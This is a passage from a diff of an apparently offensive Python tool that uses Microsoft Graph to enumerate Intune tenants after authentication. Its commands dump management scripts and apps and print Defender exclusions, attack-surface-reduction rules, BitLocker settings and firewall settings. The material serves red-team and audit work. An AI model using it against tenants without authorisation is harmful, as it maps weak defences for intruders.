{assignment['target']}") - else: - print_red("assignmentTarget: No assignments") - else: - print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") - print("\n") - print("=" * 80) - - # get-devicegrouppolicydefinition - elif args.command and args.command.lower() == "get-devicegrouppolicydefinition": - if not args.id: - print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command") - return - - print_yellow("\n[*] Get-DeviceGroupPolicyDefinition") - print("=" * 80) - api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-roledefinitions - elif args.command and args.command.lower() == "get-roledefinitions": - print_yellow("\n[*] Get-RoleDefinitions") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-roleassignments - elif args.command and args.command.lower() == "get-roleassignments": - print_yellow("\n[*] Get-RoleAssignments") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - - ################################# - # Post-Auth Intune Exploitation # - ################################# - - # dump-devicemanagementscripts - elif args.command and args.command.lower() == "dump-devicemanagementscripts": - print_yellow("\n[*] Dump-DeviceManagementScripts") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-windowsapps - elif args.command and args.command.lower() == "dump-windowsapps": - print_yellow("\n[*] Dump-WindowsApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - if args.id: - api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - json_data.pop('assignments@odata.context', None) - for key, value in json_data.items(): - if key == 'assignments': - if not value: - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in value: - print(f" - ID: {assignment['id']}") - print(f" Intent: {assignment['intent']}") - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - print(f" Target:") - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print(" Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print(" Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - print() - else: - print(f"{key}: {value}") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - return - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-iosapps - elif args.command and args.command.lower() == "dump-iosapps": - print_yellow("\n[*] Dump-iOSApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-macosapps - elif args.command and args.command.lower() == "dump-macosapps": - print_yellow("\n[*] Dump-macOSApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # dump-androidapps - elif args.command and args.command.lower() == "dump-androidapps": - print_yellow("\n[*] Dump-AndroidApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-scriptcontent - elif args.command and args.command.lower() == "get-scriptcontent": - if not args.id: - print_red("[-] Error: --id argument is required for Get-ScriptContent command") - return - - print_yellow("\n[*] Get-ScriptContent") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" - - if args.select: - api_url += "&$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - - script_content = json_data.get('scriptContent') - if script_content: - decoded_script_content = base64.b64decode(script_content).decode('utf-8') - json_data['scriptContent'] = decoded_script_content - - json_data.pop('scriptContent', None) - for key, value in json_data.items(): - print(f"{key} : {value}") - - if script_content: - print("scriptContent :\n") - print(decoded_script_content) - - except requests.exceptions.RequestException as ex: - print(f"[-] HTTP Error: {ex}") - print("=" * 80) - - # display-avpolicyrules - elif args.command and args.command.lower() == "display-avpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") - return - - print_yellow("\n[*] Display-AVPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { - "description": "Remediation action for High severity threats", - "values": { - "4=1": "Clean (service tries to recover files and try to disinfect)", - "4=2": "Quarantine (moves files to quarantine)", - "4=3": "Remove (removes files from system)", - "4=6": "Allow (allows file/does none of the above actions)", - "4=8": "User defined (requires user to make a decision on which action to take)", - "4=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { - "description": "Remediation action for Low severity threats", - "values": { - "1=1": "Clean (service tries to recover files and try to disinfect)", - "1=2": "Quarantine (moves files to quarantine)", - "1=3": "Remove (removes files from system)", - "1=6": "Allow (allows file/does none of the above actions)", - "1=8": "User defined (requires user to make a decision on which action to take)", - "1=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { - "description": "Remediation action for Moderate severity threats", - "values": { - "2=1": "Clean (service tries to recover files and try to disinfect)", - "2=2": "Quarantine (moves files to quarantine)", - "2=3": "Remove (removes files from system)", - "2=6": "Allow (allows file/does none of the above actions)", - "2=8": "User defined (requires user to make a decision on which action to take)", - "2=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { - "description": "Remediation action for Severe threats", - "values": { - "5=1": "Clean (service tries to recover files and try to disinfect)", - "5=2": "Quarantine (moves files to quarantine)", - "5=3": "Remove (removes files from system)", - "5=6": "Allow (allows file/does none of the above actions)", - "5=8": "User defined (requires user to make a decision on which action to take)", - "5=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_allowarchivescanning": { - "description": "Allow archive scanning", - "values": { - "0": "Not allowed (turns off scanning on archived files)", - "1": "Allowed (scans the archive files)" - } - }, - "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { - "description": "Allow behavior monitoring", - "values": { - "0": "Not allowed (turns off behavior monitoring)", - "1": "Allowed (turns on real-time behavior monitoring)" - } - }, - "device_vendor_msft_policy_config_defender_allowcloudprotection": { - "description": "Allow cloud protection", - "values": { - "0": "Not allowed (turns off Cloud Protection)", - "1": "Allowed (turns on Cloud Protection" - } - }, - "device_vendor_msft_policy_config_defender_allowemailscanning": { - "description": "Allow email scanning", - "values": { - "0": "Not allowed (turns off email scanning)", - "1": "Allowed (turns on email scanning)" - } - }, - "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { - "description": "Allow full scan on mapped network drives", - "values": { - "0": "Not allowed (disables scanning on mapped network drives)", - "1": "Allowed (scans mapped network drives)" - } - }, - "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { - "description": "Allow full scan on removable drives", - "values": { - "0": "Not allowed (turns off scanning on removable drives)", - "1": "Allowed (scans removable drives)" - } - }, - "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { - "description": "Allow intrusion prevention system", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowioavprotection": { - "description": "Allow IOAV protection", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { - "description": "Allow real-time monitoring", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { - "description": "Allow scanning network files", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowscriptscanning": { - "description": "Allow script scanning", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_allowuseruiaccess": { - "description": "Allow user UI access", - "values": { - "0": "Not allowed", - "1": "Allowed" - } - }, - "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { - "description": "Check for signatures before running scan", - "values": { - "0": "Not required", - "1": "Required" - } - }, - "device_vendor_msft_policy_config_defender_cloudblocklevel": { - "description": "Cloud block level", - "values": { - "0": "Disabled", - "1": "Basic", - "2": "High" - } - }, - "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { - "description": "Disable catch-up full scan", - "values": { - "0": "Enabled", - "1": "Disabled" - } - }, - "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { - "description": "Disable catch-up quick scan", - "values": { - "0": "Enabled", - "1": "Disabled" - } - }, - "device_vendor_msft_policy_config_defender_enablelowcpupriority": { - "description": "Enable low CPU priority", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_enablenetworkprotection": { - "description": "Enable network protection", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_excludedextensions": { - "description": "Excluded extensions", - "values": {} - }, - "device_vendor_msft_policy_config_defender_excludedpaths": { - "description": "Excluded paths", - "values": {} - }, - "device_vendor_msft_policy_config_defender_excludedprocesses": { - "description": "Excluded processes", - "values": {} - }, - "device_vendor_msft_policy_config_defender_puaprotection": { - "description": "PUA protection", - "values": { - "0": "Disabled", - "1": "Enabled" - } - }, - "device_vendor_msft_policy_config_defender_realtimescandirection": { - "description": "Real-time scan direction", - "values": { - "0": "Both directions", - "1": "Inbound only", - "2": "Outbound only" - } - }, - "device_vendor_msft_policy_config_defender_scanparameter": { - "description": "Scan parameter", - "values": { - "0": "Quick scan", - "1": "Full scan" - } - } - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting: - setting_instance = setting['settingInstance'] - setting_id = setting_instance.get('settingDefinitionId', '') - - if setting_id in settings_map: - description = settings_map[setting_id]['description'] - - if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': - simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) - value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] - value = ', '.join(value_list) - print(f"{description} : {value}") - elif 'choiceSettingValue' in setting_instance: - value = setting_instance['choiceSettingValue'].get('value', '') - value_suffix = value[len(setting_id):].lstrip('_') - - if value_suffix in settings_map[setting_id]['values']: - mapped_value = settings_map[setting_id]['values'][value_suffix] - elif value_suffix == 'block': - mapped_value = 'BLOCK' - elif value_suffix == 'allow': - mapped_value = 'ALLOW' - else: - mapped_value = value_suffix.upper() - - print(f"{mapped_value:<10} : {description}") - - # group setting collection values - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: - group_settings = setting['settingInstance']['groupSettingCollectionValue'] - for group_setting in group_settings: - for child in group_setting.get('children', []): - choice_setting_value = child.get('choiceSettingValue', {}) - value = choice_setting_value.get('value', '') - setting_id = child.get('settingDefinitionId', '') - - if setting_id in settings_map: - description = settings_map[setting_id]['description'] - value_suffix = value[len(setting_id):].lstrip('_') - - if value_suffix in settings_map[setting_id]['values']: - mapped_value = settings_map[setting_id]['values'][value_suffix] - elif value_suffix == 'block': - mapped_value = 'BLOCK' - elif value_suffix == 'allow': - mapped_value = 'ALLOW' - else: - mapped_value = value_suffix.upper() - - print(f"{mapped_value:<10} : {description}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - # display-asrpolicyrules - elif args.command and args.command.lower() == "display-asrpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") - return - - print_yellow("\n[*] Display-ASRPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", - "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", - "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", - "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", - "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", - "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", - "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", - "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", - "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", - "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", - "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", - "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", - "blockwebshellcreationforservers": "Block web shell creation for servers", - "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", - "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", - "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", - "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - if "value" in response_json: - for item in response_json["value"]: - setting_instance = item.get("settingInstance", {}) - group_settings = setting_instance.get("groupSettingCollectionValue", []) - - for group in group_settings: - children = group.get("children", []) - - for child in children: - choice_setting_value = child.get("choiceSettingValue", {}) - value = choice_setting_value.get("value", "") - - if value: - parts = value.split("_") - if len(parts) >= 2: - action = parts[-1].upper() - rule_name = "_".join(parts[:-1]) - rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") - readable_rule = settings_map.get(rule_name, rule_name) - print(f"{action:<6}: {readable_rule}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-diskencryptionpolicyrules - elif args.command and args.command.lower() == "display-diskencryptionpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") - return - - print_yellow("\n[*] Display-DiskEncryptionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", - "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", - "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", - "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", - "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", - "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", - "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", - "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", - "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", - "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", - "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", - "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", - "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", - "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", - "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", - "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", - "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", - "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", - "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: - value_field = setting['settingInstance']['choiceSettingValue'].get('value') - if value_field: - cleaned_value = value_field.rstrip('_01') - if cleaned_value in settings_map: - setting_text = settings_map[cleaned_value] - if value_field.endswith('_1'): - print(f"ENABLED : {setting_text}") - elif value_field.endswith('_0'): - print(f"DISABLED : {setting_text}") - else: - print(f"{setting_text} - {value_field}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-firewallconfigpolicyrules - firewall config policy - elif args.command and args.command.lower() == "display-firewallconfigpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") - return - - print_yellow("\n[*] Display-FirewallConfigPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "vendor_msft_firewall_mdmstore_global_crlcheck": { - "displayName": "Certificate revocation list verification", - "options": { - "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", - "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", - "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", - } - }, - "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { - "displayName": "Disable Stateful Ftp", - "options": { - "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", - "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", - } - }, - "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { - "displayName": "Enable Packet Queue", - "options": { - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", - "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", - } - }, - "vendor_msft_firewall_mdmstore_global_ipsecexempt": { - "displayName": "IPsec Exceptions", - "options": { - "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", - "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", - } - }, - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { - "displayName": "Opportunistically Match Auth Set Per KM", - "options": { - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", - "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { - "displayName": "Preshared Key Encoding", - "options": { - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", - "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", - } - }, - "vendor_msft_firewall_mdmstore_global_saidletime": { - "displayName": "Security association idle time", - "options": {} - }, - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging 